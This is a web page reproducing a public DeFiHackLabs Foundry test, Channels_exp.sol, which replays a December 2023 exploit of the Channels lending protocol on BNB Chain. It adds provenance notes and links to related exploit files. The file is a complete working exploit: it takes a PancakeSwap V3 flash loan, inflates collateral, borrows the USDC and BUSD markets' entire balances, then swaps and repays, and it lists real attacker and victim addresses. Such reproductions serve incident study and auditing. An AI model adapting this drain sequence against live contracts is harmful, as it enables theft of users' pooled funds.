Public reproduction file

src/test/2023-12/Channels_exp.sol

Public reproduction file for dataset entry Channels.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/Channels_exp.sol161 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : ~$4.4K
7// Attacker : https://bscscan.com/address/0xd227dc77561b58c5a2d2644ac0173152a1a5dc3d
8// Attack Contract : https://bscscan.com/address/0xa47b9f87173eda364c821234158dda47b03ac217
9// Vulnerable Contract : https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b, 0x33e68c922d19d74ce845546a5c12a66ea31385c4
10// Attack Tx : https://bscscan.com/tx/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b, 0x33e68c922d19d74ce845546a5c12a66ea31385c4#code
14 
15// @Analysis
16// Post-mortem : https://app.blocksec.com/explorer/tx/bsc/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
20 
21import "forge-std/Test.sol";
22import "./../interface.sol";
23 
24interface IChannel {
25    function accrueInterest() external returns (uint256);
26    function borrow(
27        uint256
28    ) external returns (uint256);
29    function redeemUnderlying(
30        uint256
31    ) external returns (uint256);
32}
33 
34interface IComptroller {
35    function enterMarkets(
36        address[] memory
37    ) external;
38    function claimComp(address, address[] memory) external;
39}
40 
41interface IPancakePool {
42    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
43}
44 
45interface IMint {
46    function mint(
47        address
48    ) external returns (uint256);
49}
50 
51struct Pancke_ExactOutputParams {
52    bytes path;
53    address recipient;
54    uint256 deadline;
55    uint256 amountOut;
56    uint256 amountInMaximum;
57}
58 
59interface PancakeRouter {
60    function exactOutput(
61        Pancke_ExactOutputParams calldata
62    ) external returns (uint256);
63}
64 
65contract Channels is BaseTestWithBalanceLog {
66    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
67 
68    address pancakeV3Pool = 0x369482C78baD380a036cAB827fE677C1903d1523;
69 
70    address busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
71    address busd_btcb = 0xF45cd219aEF8618A92BAa7aD848364a158a24F33;
72    address btcb = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
73    address cusdc = 0x33e68c922d19D74ce845546a5c12A66ea31385c4;
74    address cudsc_underlying = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
75    address cbusd = 0xca797539f004C0F9c206678338f820AC38466D4b;
76    address busd_underlying = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
77 
78    address channels1 = 0x93790C641D029D1cBd779D87b88f67704B6A8F4C;
79    address cake = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
80 
81    address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
82 
83    address anon = 0xFC518333F4bC56185BDd971a911fcE03dEe4fC8c;
84 
85    address pancake_swap = 0xF45cd219aEF8618A92BAa7aD848364a158a24F33;
86    address pancake_router = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;
87 
88    address ac = 0x93790C641D029D1cBd779D87b88f67704B6A8F4C;
89 
90    function setUp() external {
91        cheats.createSelectFork("bsc", 34_847_596 - 1);
92        deal(cake, address(this), 1e18);
93        deal(ac, address(this), 2);
94    }
95 
96    function testExploit() external {
97        uint256 init = IERC20(busd).balanceOf(address(this));
98        uint256 init_usdc = IERC20(cudsc_underlying).balanceOf(address(this));
99 
100        IPancakePool(pancakeV3Pool).flash(
101            address(this),
102            1_000_000_000_000_000_000,
103            42_218_672_818_223_010_583_114,
104            "0x0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000008f0adc86c0efe5c924a"
105        );
106        uint256 after_attack = IERC20(busd).balanceOf(address(this));
107        uint256 after_attack_usdc = IERC20(cudsc_underlying).balanceOf(address(this));
108        emit log_named_decimal_uint("Attacker BUSD end exploited", after_attack - init, 18);
109        emit log_named_decimal_uint("Attacker USDC end exploited", after_attack_usdc - init_usdc, 18);
110    }
111 
112    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
113        IERC20(busd).transfer(busd_btcb, IERC20(busd).balanceOf(address(this)));
114        IERC20(btcb).transfer(busd_btcb, IERC20(btcb).balanceOf(address(this)));
115        uint256 liquidity = IMint(busd_btcb).mint(address(this));
116        IERC20(busd_btcb).transfer(channels1, IERC20(busd_btcb).balanceOf(address(this)));
117        IERC20(cake).transfer(channels1, IERC20(cake).balanceOf(address(this)));
118 
119        IChannel(channels1).accrueInterest();
120        address[] memory tokens = new address[](1);
121        tokens[0] = channels1;
122        IComptroller(anon).enterMarkets(tokens);
123 
124        address[] memory tokens2 = new address[](2);
125        tokens2[0] = cusdc;
126        tokens2[1] = cbusd;
127        IComptroller(anon).enterMarkets(tokens2);
128 
129        IChannel(cusdc).borrow(IERC20(cudsc_underlying).balanceOf(cusdc));
130        IChannel(cbusd).borrow(IERC20(busd_underlying).balanceOf(cbusd));
131        IChannel(channels1).redeemUnderlying(174_494_827_409_609_936_689); // busd_btcb balance - 1
132 
133        IERC20(pancake_swap).transfer(pancake_swap, IERC20(pancake_swap).balanceOf(address(this)));
134        (uint256 amount0, uint256 amount1) = IUniswapV2Pair(pancake_swap).burn(address(this));
135 
136        address token1 = btcb;
137        uint24 fee1 = 500;
138 
139        address token2 = wbnb;
140        uint24 fee2 = 500;
141 
142        address token3 = cudsc_underlying;
143        bytes memory path = abi.encodePacked(token1, fee1, token2, fee2, token3);
144 
145        Pancke_ExactOutputParams memory params = Pancke_ExactOutputParams({
146            path: path,
147            recipient: address(this),
148            deadline: block.timestamp,
149            amountOut: 503_715_695_155_049,
150            amountInMaximum: type(uint256).max
151        });
152 
153        IERC20(cudsc_underlying).approve(pancake_router, type(uint256).max);
154        uint256 amountin = PancakeRouter(pancake_router).exactOutput(params);
155        // payback
156        IERC20(btcb).transfer(pancakeV3Pool, 1_000_500_000_000_000_000);
157        IERC20(busd).transfer(pancakeV3Pool, 42_239_782_154_632_122_088_406);
158    }
159 
160    fallback() external payable {}
161}

Analysis

Dataset entry

Public Foundry test for “Channels” (2023-12-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xd227dc77561b58c5a2d2644ac0173152a1a5dc3d
Attack Contract
0xa47b9f87173eda364c821234158dda47b03ac217
Vulnerable Contract
0xca797539f004c0f9c206678338f820ac38466d4b

Attack Tx
0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5

File record

Name: Channels
Path: src/test/2023-12/Channels_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 2ce3f89c7adf45a810f33a17d6d3445952550844
Language: Solidity
Size: 162 lines
Date: 2023-12-31
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-12/Channels_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2ce3f89c7adf45a810f33a17d6d3445952550844, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.